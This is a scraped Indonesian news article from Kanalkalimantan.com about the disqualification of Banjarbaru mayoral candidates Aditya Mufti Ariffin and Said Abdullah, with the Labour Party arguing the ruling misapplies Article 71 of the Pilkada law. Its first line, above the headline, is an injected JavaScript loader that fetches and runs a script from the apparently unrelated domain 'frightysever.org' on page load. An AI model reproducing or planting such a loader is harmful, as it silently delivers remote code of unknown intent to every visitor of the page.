(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Skenario Calon Tunggal Pilwali Banjarbaru, Partai Buruh: Penjegalan Sudah Diupayakan Sejak Awal


KANALKALIMANTAN.COM, BANJARBARU – Pembatalan pasangan calon (Paslon) Wali Kota Banjarbaru nomor urut 2 Aditya Mufti Ariffin dan Said Abdullah oleh KPU Banjarbaru tidak sah. Keputusan itu patut diduga sebagai upaya rekayasa memaksa kontestasi Pilkada Kota Banjarbaru hanya diikuti Paslon tunggal versus kotak kosong di lembar surat suara.

Sejatinya, Pilwali Banjarbaru di Provinsi Kalimantan Selatan diikuti oleh dua kontestan. Tetapi tiba-tiba saja KPU Banjarbaru mengumumkan bahwa paslon nomor urut 2 dibatalkan pencalonannya karena ada rekomendasi dari Bawaslu Kalsel yang pada menvonis Aditya Mufti Ariffin memanfaatkan program pemerintah daerah untuk kepentingan pencalonan dirinya.

“Tuduhan itu jelas tidak benar. Saya mencium ada aroma rekayasa yang sepertinya sudah dirancang secara matang oleh pihak-pihak tertentu untuk membatalkan pencalonan Adit. Targetnya tidak lain agar Pilkada Kota Banjarbaru hanya diikuti oleh satu pasangan calon saja. Upaya penjegalan ini bahkan sudah diupayakan sejak tahap awal pencalonan,” ungkap Said Salahudin, Ketua Tim Pilkada Pusat Partai Buruh.

Baca juga: Reaksi Warganet Pencalonan Aditya-Said Abdullah Dibatalkan: Seruan Kotak Kosong, Banjarbaru Pemilunya Menyedihkan!

Aditya ini, kata Said Salahudin, memang masih menjabat sebagai Wali Kota Banjarbaru dengan status cuti di masa kampanye. Dia maju kembali di Pilkada 2024 untuk periode kedua. Nah, posisinya sebagai petahana inilah yang coba dicari-cari kesalahannya.

“Sebagai partai pengusung pasangan Aditya Mufti Ariffin dan Said Abdullah, Partai Buruh jelas tidak terima dengan skenario jahat semacam itu. Kami akan lawan pihak mana pun yang bermain tidak fair di Pilkada. Aditya adalah produk dari Putusan Mahkamah Konstitusi (MK) Nomor 60 yang diajukan Partai Buruh. Dia bisa ikut Pilkada karena putusan MK menurunkan syarat ambang batas pencalonan,” beberapa Said Salahudin.

Kasus Pilkada Kota Banjarbaru, menurut kader Partai Buruh ini, penting untuk mendapatkan perhatian luas dari masyarakat yang sudah muak dengan upaya memaksakan calon tunggal melalui cara-cara politik yang kotor.

Keputusan KPU Banjarbaru mendiskualifikasi paslon nomor urut 2 berdasarkan rekomendasi Bawaslu Kalsel harus dilawan karena prosesnya tidak benar dan sarat dengan muslihat. Ada banyak sekali pelanggaran hukum dan pelanggaran etika yang dilakukan oleh penyelenggara pemilu, termasuk KPU dan Bawaslu Provinsi Kalimantan Selatan.

Baca juga: Pencalonan Aditya-Said Abdullah Dibatalkan, Prof Denny: Lawan Putusan KPU Banjarbaru ke MA!

“Kesalahan terbesar penyelengara Pemilu pada kasus ini adalah karena secara semberono memvonis Aditya dengan menggunakan dasar hukum pasal 71 ayat 3 dan ayat 5 Undang-Undang Nomor 10 Tahun 2016 Tentang Perubahan Kedua Atas Undang-undang Nomor 1 Tahun 2015 Tentang Penetapan Peraturan Pemerintah Pengganti Undang-undang Nomor 1 Tahun 2014 Tentang Pemilihan Gubernur, Bupati, dan Wali Kota Menjadi Undang-Undang UU Pilkada,” jelasnya.

Pasal 71 ayat 3 berbunyi: “Gubernur atau Wakil Gubernur, Bupati atau Wakil Bupati, dan Wali Kota atau Wakil Wali Kota dilarang menggunakan kewenangan, program, dan kegiatan yang menguntungkan atau merugikan salah satu pasangan calon baik di daerah sendiri maupun di daerah lain dalam waktu 6 bulan sebelum tanggal penetapan pasangan calon terpilih.”

Adapun Pasal 71 ayat 5 berbunyi: “Dalam hal Gubernur atau Wakil Gubernur, Bupati atau Wakil Bupati, dan Wali Kota atau Wakil Wali Kota selaku petahana melanggar ketentuan sebagaimana dimaksud pada ayat 2 dan ayat 3, petahana tersebut dikenai sanksi pembatalan sebagai calon oleh KPU Provinsi atau KPU kabupaten/kota.”

Bila dibaca secara teliti dengan kaca mata hukum, maka kedua norma itu pada pokoknya mengatur adanya larangan menggunakan kewenangan, program, dan kegiatan bagi kepala daerah yang bertujuan menguntungkan atau merugikan salah satu pasangan calon. Apabila kepala daerah yang melanggar larangan tersebut berstatus sebagai calon atau petahana, maka kepadanya dikenakan sanksi pembatalan sebagai calon oleh KPU.

Baca juga: WOW Day Hadirkan Keceriaan Anak-anak Prasejahtera dengan Tema “Lights of Hope”

“Nah, pada kasus Aditya, peristiwa yang dituduhkan calon lawannya selaku pihak pelapor, terjadi sebelum ada pasangan calon yang ditetapkan oleh KPU. Kalau begitu ceritanya, maka Pasal 73 ayat 3 tidak bisa dikenakan kepada Aditya selaku Wali Kota Banjarbaru karena pada saat itu belum ada pasangan calon,” tarang Said Salahudin. Aditya belum menjadi calon, lawannya pun belum menjadi calon.

Jadi, pasangan calon mana yang diuntungkan atau dirugikan oleh kebijakan Aditya selaku Wali Kota pada saat itu? Kan tidak ada. Program pemerintah daerah tentu tidak boleh disetop hanya karena ada pilkada. Kalau Aditya mengentikan program pemda yang menjadi tanggung jawabnya, maka justru dia salah karena hal itu dapat menyebabkan hak dan kepentingan rakyat menjadi dirugikan.

Oleh karena pada saat peristiwa yang dituduhkan Aditya belum menjadi calon dan belum pula ada calon yang lain, maka unsur “menguntungkan atau merugikan salah satu pasangan calon” sebagaimana dimaksud dalam Pasal 71 ayat 3 menjadi tidak terpenuhi.

Implikasi atas tidak terpenuhinya unsur-unsur didalam ketentuan Pasal 73 ayat 3,maka konsekuensi hukumnya Aditya tidak bisa dijerat sanksi pembatalan sebagai calon sebagaimana dimaksud dalam ketentuan Pasal 71 ayat 5 UU Pilkada.

“Oleh sebab itu, demi hukum statusnya sebagai calon Wali Kota Banjarbaru harus dipulihkan kembali oleh KPU,” tegasnya.

Baca juga: Putusan Bocor Sebelum Diumumkan, Aditya-Said Abdullah Pertimbangkan Gugatan ke MA

Terkait kasus pembatalan ini Partai Buruh masih terus melakukan koordinasi dengan paslon nomor urut 2 dan partai politik pengusung lainnya guna mengambil langkah hukum yang diperlukan, termasuk memproses anggota KPU dan Bawaslu Kota Banjarbaru dan anggota KPU dan Bawaslu Provinsi Kalimantan Selatan ke Dewan Kehormatan Penyelengara Pemilu (DKPP).

“Sebagai penyusun Peraturan Kode Etik Penyelenggara Pemilu saya yakin sekali para penyelenggara Pemilu di Kota Banjarbaru dan Provinsi Kalimantan Selatan akan dipecat oleh DKPP. Kami juga akan bongkar aktor-aktor lain yang terlibat dalam kasus rekayasa ini,” tandasnya. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: bie


Risa

Recent Posts

Hadapi Praperadilan Gubernur Kalsel, KPK Yakin Ditolak Hakim

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) meyakini hakim yang menangani permohonan praperadilan Gubernur Kalimantan… Read More

7 jam ago

Blusukan Wapres Gibran di Pasar Kahayan, Beli Lombok Sekilo

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Presiden (Wapres) Gibran Rakabuming Raka melakukan kunjungan kerja ke Palangkaraya, Kalimantan… Read More

8 jam ago

KPU Banjarmasin Mulai Pelipatan Surat Suara

KANALKALIMANTAN.COM, BANJARMASIN - Surat suara Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin dan… Read More

9 jam ago

110 PTPS Landasan Ulin Dilantik, Awasi Pungut dan Hitung Suara

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 110 orang Pengawas Tempat Pemungutan Suara (PTPS) se Kecamatan Landasan Ulin,… Read More

11 jam ago

Pasca Pembatalan Pencalonan: Surat Suara Pilwali Banjarbaru Tunggu Arahan KPU RI

Surat Suara Pilgub Kalsel Masuk Gudang Logistik KPU Banjarbaru Read More

12 jam ago

Luncurkan Lima Unit, Ini Livery Terbaru BRT Banjarbakula

Kadishub Kalsel: Ujicoba Rute Pal 0-Darussalam Martapura dan Perkantoran Pemprov Kalsel Read More

15 jam ago

This website uses cookies.